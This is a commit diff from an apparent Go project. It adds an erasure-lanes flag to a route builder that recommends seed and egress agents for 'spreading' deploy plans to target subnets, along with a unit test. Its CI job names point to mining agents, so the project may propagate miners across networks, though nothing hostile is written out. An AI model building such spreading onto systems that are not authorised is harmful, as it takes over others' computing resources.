Add erasure-coded multi-lane spread foundation.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.
This commit is contained in:
@@ -56,11 +56,12 @@ type LaneSuccessStat struct {
|
||||
|
||||
// Input feeds the route table builder.
|
||||
type Input struct {
|
||||
Sessions []SessionSnapshot
|
||||
FleetAgents []FleetAgentSnapshot
|
||||
LaneSuccess []LaneSuccessStat
|
||||
TargetSubnets []string
|
||||
RequestedLane string
|
||||
Sessions []SessionSnapshot
|
||||
FleetAgents []FleetAgentSnapshot
|
||||
LaneSuccess []LaneSuccessStat
|
||||
TargetSubnets []string
|
||||
RequestedLane string
|
||||
ErasureLanesEnabled bool
|
||||
}
|
||||
|
||||
// RouteEdge is a weighted edge from a seed hop to a target subnet.
|
||||
@@ -88,7 +89,8 @@ type RouteRecommendation struct {
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level"`
|
||||
Score float64 `json:"score"`
|
||||
Reason string `json:"reason,omitempty"`
|
||||
Reason string `json:"reason,omitempty"`
|
||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
|
||||
}
|
||||
|
||||
// SpreadRouteHint is attached to signed deploy plans for agent egress routing.
|
||||
@@ -102,6 +104,8 @@ type SpreadRouteHint struct {
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
Score float64 `json:"score,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
// ErasureLanesEnabled signals parallel Reed–Solomon lane redundancy on deploy plans.
|
||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
|
||||
}
|
||||
|
||||
// RouteTable holds weighted edges and recommendations.
|
||||
@@ -142,7 +146,7 @@ func Build(in Input) *RouteTable {
|
||||
targets := normalizeTargets(in)
|
||||
for _, target := range targets {
|
||||
cands := collectCandidates(in, target, fleetByID, laneRates)
|
||||
rec, edges := scoreCandidates(target, in.RequestedLane, cands)
|
||||
rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, cands)
|
||||
if rec.SeedAgentID != "" {
|
||||
rt.Routes = append(rt.Routes, rec)
|
||||
rt.bySubnet[target] = rec
|
||||
@@ -168,15 +172,16 @@ func ToHint(rec RouteRecommendation) *SpreadRouteHint {
|
||||
return nil
|
||||
}
|
||||
return &SpreadRouteHint{
|
||||
TargetSubnet: rec.TargetSubnet,
|
||||
SeedAgentID: rec.SeedAgentID,
|
||||
SeedAgentName: rec.SeedAgentName,
|
||||
EgressAgentID: rec.EgressAgentID,
|
||||
EgressHopIndex: rec.EgressHopIndex,
|
||||
SessionID: rec.SessionID,
|
||||
JoinLane: rec.JoinLane,
|
||||
Score: rec.Score,
|
||||
ClearanceLevel: rec.ClearanceLevel,
|
||||
TargetSubnet: rec.TargetSubnet,
|
||||
SeedAgentID: rec.SeedAgentID,
|
||||
SeedAgentName: rec.SeedAgentName,
|
||||
EgressAgentID: rec.EgressAgentID,
|
||||
EgressHopIndex: rec.EgressHopIndex,
|
||||
SessionID: rec.SessionID,
|
||||
JoinLane: rec.JoinLane,
|
||||
Score: rec.Score,
|
||||
ClearanceLevel: rec.ClearanceLevel,
|
||||
ErasureLanesEnabled: rec.ErasureLanesEnabled,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -292,7 +297,7 @@ func collectCandidates(in Input, target string, fleet map[string]FleetAgentSnaps
|
||||
return out
|
||||
}
|
||||
|
||||
func scoreCandidates(target, requestedLane string, cands []candidate) (RouteRecommendation, []RouteEdge) {
|
||||
func scoreCandidates(target, requestedLane string, erasureLanes bool, cands []candidate) (RouteRecommendation, []RouteEdge) {
|
||||
var edges []RouteEdge
|
||||
var best RouteRecommendation
|
||||
var bestScore float64
|
||||
@@ -331,16 +336,17 @@ func scoreCandidates(target, requestedLane string, cands []candidate) (RouteReco
|
||||
reason = "fleet agent on target subnet"
|
||||
}
|
||||
best = RouteRecommendation{
|
||||
TargetSubnet: target,
|
||||
SeedAgentID: c.agentID,
|
||||
SeedAgentName: c.agentName,
|
||||
EgressAgentID: c.agentID,
|
||||
EgressHopIndex: c.hopIndex,
|
||||
SessionID: c.sessionID,
|
||||
JoinLane: firstNonEmpty(requestedLane, c.joinLane),
|
||||
ClearanceLevel: c.clearance,
|
||||
Score: weight,
|
||||
Reason: reason,
|
||||
TargetSubnet: target,
|
||||
SeedAgentID: c.agentID,
|
||||
SeedAgentName: c.agentName,
|
||||
EgressAgentID: c.agentID,
|
||||
EgressHopIndex: c.hopIndex,
|
||||
SessionID: c.sessionID,
|
||||
JoinLane: firstNonEmpty(requestedLane, c.joinLane),
|
||||
ClearanceLevel: c.clearance,
|
||||
Score: weight,
|
||||
Reason: reason,
|
||||
ErasureLanesEnabled: erasureLanes,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -104,6 +104,25 @@ func TestNormalizeSubnet(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildSetsErasureLanesFlag(t *testing.T) {
|
||||
in := Input{
|
||||
TargetSubnets: []string{"10.9.8"},
|
||||
ErasureLanesEnabled: true,
|
||||
FleetAgents: []FleetAgentSnapshot{
|
||||
{AgentID: "a1", Subnet: "10.9.8", Clearance: clearance.L2, Connected: true},
|
||||
},
|
||||
}
|
||||
rt := Build(in)
|
||||
rec, ok := rt.Recommend("10.9.8")
|
||||
if !ok || !rec.ErasureLanesEnabled {
|
||||
t.Fatalf("route=%+v ok=%v", rec, ok)
|
||||
}
|
||||
hint := ToHint(rec)
|
||||
if hint == nil || !hint.ErasureLanesEnabled {
|
||||
t.Fatalf("hint=%+v", hint)
|
||||
}
|
||||
}
|
||||
|
||||
func TestToHint(t *testing.T) {
|
||||
hint := ToHint(RouteRecommendation{
|
||||
TargetSubnet: "10.1.2", SeedAgentID: "a1", EgressAgentID: "a1", Score: 0.8,
|
||||
|
||||
Reference in New Issue
Block a user